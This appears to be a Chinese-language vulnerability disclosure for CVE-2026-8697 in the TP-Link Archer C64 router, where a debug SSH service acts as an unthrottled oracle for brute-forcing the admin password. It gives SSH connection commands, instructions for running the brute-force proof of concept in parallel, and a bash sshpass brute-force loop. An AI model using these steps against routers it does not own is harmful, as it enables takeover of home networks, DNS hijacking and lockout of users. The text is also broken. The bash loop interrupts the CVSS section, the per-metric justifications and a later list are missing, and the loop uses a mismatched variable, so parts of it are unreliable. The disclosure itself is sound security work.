CVE-2026-8697 是 TP-Link Archer C64 操作系统(调试信息中称为 TPOS)中的一个逻辑缺陷。它允许任何连接到路由器的非特权用户通过使用残留的 SSH 服务来绕过 Web 界面的速率限制。一个简单的 Python 脚本可以在短时间内尝试大量密码,从而获得路由器的完全管理员访问权限。
POC: poc.py
该路由器有一个调试 SSH 服务,该服务不会授予路由器 shell,而是在输入正确密码后直接退出。但它使用与管理员界面相同的密码,并且既没有速率限制也没有锁定策略。因此,它可以作为一个高速身份验证预言机用于暴力破解密码。网络上的恶意或被入侵的 IoT 设备可以利用此漏洞获得路由器的完全管理员访问权限。攻击者无法通过此接口获得 shell 访问权限,但他们可以轻松验证凭据以入侵主 Web 管理界面。
此漏洞已在固件版本 1.15.0 中得到修复,该版本直接移除了该服务。要测试您的路由器,请使用以下命令(Linux/macOS):
timeout 10 nc -vz 192.168.0.1 22
echo $?
将 IP 地址替换为您用于连接路由器 Web 界面的地址。如果输出为 0 或显示 succeeded!,则您的路由器存在漏洞。否则则不存在。
在 Windows 中,在 PowerShell 中运行以下命令:
tnc 192.168.0.1 -Port 22
如果显示 TcpTestSucceeded : True,则您的路由器存在漏洞。否则,如果它无限期挂起或显示为 False,则不存在漏洞。
该缺陷完全是基于逻辑的,不需要内存损坏、ASLR 绕过或竞争条件获胜。
当时,我正在学习 Nmap,为了好玩决定扫描我的路由器。那时我并不是在寻找漏洞,但我注意到了一个开放的 SSH 服务。
$ sudo nmap -A -T4 192.168.0.1
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-22 20:06 +0600
Nmap scan report for 192.168.0.1
Host is up (0.0028s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.0 (protocol 2.0)
| ssh-hostkey:
|_ 1024 c3:db:85:33:94:d5:f7:c9:91:18:a0:73:5c:1a:aa:a5 (DSA)
53/tcp open tcpwrapped
80/tcp open http TP-LINK router http config
|_http-title: Opening...
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=tplinkwifi.net/countryName=CN
| Subject Alternative Name: DNS:tplinkwifi.net, IP Address:192.168.0.1
| Not valid before: 2010-01-01T00:00:00
|_Not valid after: 2030-12-31T00:00:00
|_ssl-date: TLS randomness does not represent time
MAC Address: 78:8C:B5:25:3B:AF (TP-Link Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Canon imageRUNNER C5185 printer or Mercusys AC12G WAP (96%), Canon imageRUNNER C2380 or C2880i or Xerox Phaser 8860MFP printer (92%), Fujitsu Externus DX80 or IBM DCS9900 NAS device (92%), VxWorks (92%), Avaya 4526GTX switch (92%), Nortel CS1000M VoIP PBX or Xerox Phaser 8560DT printer (88%), Aastra Dialog 4425 IP phone (87%), HP ProCurve 3500yl, 5406zl, or 6200yl switch or UTStarcom F1000 VoIP phone (87%), Apple AirPort Express WAP or AMX NI-3100 controller (VxWorks) (86%), Xerox ApeosPort-IV C3370 printer (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
上面的日志显示了一个运行 OpenSSH 6.6.0(2014 年的旧版本,但版本与此无关)的 SSH 服务。看到这个非常旧的版本,我怀疑它可能被攻击者利用,并尝试 SSH 登录它,目的是获得 shell 并更新固件。那时我是在试图保护我的路由器,而不是寻找漏洞。然而,连接到它后出现了一个有趣的问题:主机密钥和公钥算法在我版本的 OpenSSH 上不受支持。使用 -o 在我的系统上也不起作用,所以我不得不使用一个 debian:bullseye-slim 容器,该容器有一个支持 diffie-hellman-group14-sha1 和 ssh-dss 算法的 OpenSSH 客户端。
在容器内部,安装 OpenSSH 客户端后,我能够连接到 SSH 服务器。
ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 \
-o HostKeyAlgorithms=+ssh-dss [email protected]
我使用了这个命令,最终成功连接到 SSH 服务器,它用一条消息 TPOS 5 IPSSH Test 和一个密码提示欢迎了我。然而,输入密码后,连接立即关闭。我甚至尝试直接运行命令,但它没有执行命令。我意识到这里没有 shell,所以攻击者无法访问我的路由器。那么我的路由器是安全的,对吧?嗯,并非如此。我意识到,即使你没有获得任何访问权限,你确实知道了你的密码是否正确。而且那个密码与 Web 界面密码相同,并且完全没有速率限制或任何措施来阻止暴力破解攻击。这时我想到了把这个变成一个 CVE。我尝试自动化这个攻击。首先我尝试在 bash 循环中使用 sshpass,但你不能在单个连接中使用多个密码,所以我尝试制作一个 Python 脚本。这就是附带的 POC。
要使用 POC,首先创建一个 venv 并安装 pexpect。请注意,该脚本不使用 Pexpect 的 pxssh 模块,因为它不支持在单个连接中尝试多个密码。
python3 -m venv venv
source venv/bin/activate
pip install pexpect
将脚本保存为 poc.py 并运行它。你可以选择性地传入一个由换行符分隔的密码列表文件路径作为第一个参数。如果不传,它将使用数字 1 到 100 作为密码(用于速度测试)。
python3 poc.py list.txt
你可以通过使用不同列表运行多个实例来并行化攻击。如果运行超过 3 个实例,你将开始遇到连接错误。脚本仍然会确保所有密码都被尝试。
python3 poc.py list1.txt &
python3 poc.py list2.txt &
python3 poc.py list3.txt &
攻击者可以利用网络上的恶意或被入侵的 IoT 设备暴力破解密码,并获得管理员界面的管理员权限。用户不会得到任何关于此事的指示,攻击者可以长时间这样做而不被发现。一旦攻击者获得了管理员界面的访问权限,他们可以更改 DNS 设置以执行 DNS 劫持,更改 Wi-Fi 密码以锁定用户,使用静态路由拦截未加密流量,或通过将路由指向不存在的 IP 来阻止网络访问,转发端口,关闭防火墙/ALG 等。
此漏洞的 CVSS 4.0 攻击向量如下:
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H
,其得分为 9.3 严重。 我对每个指标的理由如下:
while read pass;do
sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-dss -o PubkeyAcceptedKeyTypes=+ssh-dss -o NumberOfPasswordPrompts=100000 [email protected]
if [ $? -eq 0 ]; then
echo "Password found: $PASS"
break
fi
done < list.txt
(请注意,这比 POC 脚本慢,因为它不在每个连接中尝试多个密码)
AV:A 中。供应商(TP-Link)以 8.7(高) 的分数发布了此漏洞,向量为:
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
然而,本研究认为后续系统影响不应被评为“无”。因为路由器是所有连接设备的主要网关:
因此,对家庭网络风险的更准确表示是如上所述的 9.3/严重。
将路由器的固件更新到 1.15.0 Build 250729 或更高版本将修复此问题。
此漏洞由 Tanjim Kamal 发现并报告。
| 日期 | 事件 |
|---|
| 2026-02-26 | 向 TP-Link 产品安全团队报告漏洞 |
| 2026-03-03 | 收到初步确认 |
| 2026-03-14 | TP-Link 确认他们处于验证和修复阶段 |
| 2026-04-22 | TP-Link 表示该漏洞已在固件版本 1.15.0 中修复,但该固件尚未公开可用 |
| 2026-04-24 | 固件公开可用 |
| 2026-04-26 | 补丁确认并请求 CVE ID |
| 2026-05-15 | 向 TP-Link 发送 90 天截止日期提醒 |
| 2026-05-15 | CVE ID 保留 |
| 2026-05-29 | 公开披露 |
| 2026-05-29 | 发布分析报告(本文档) |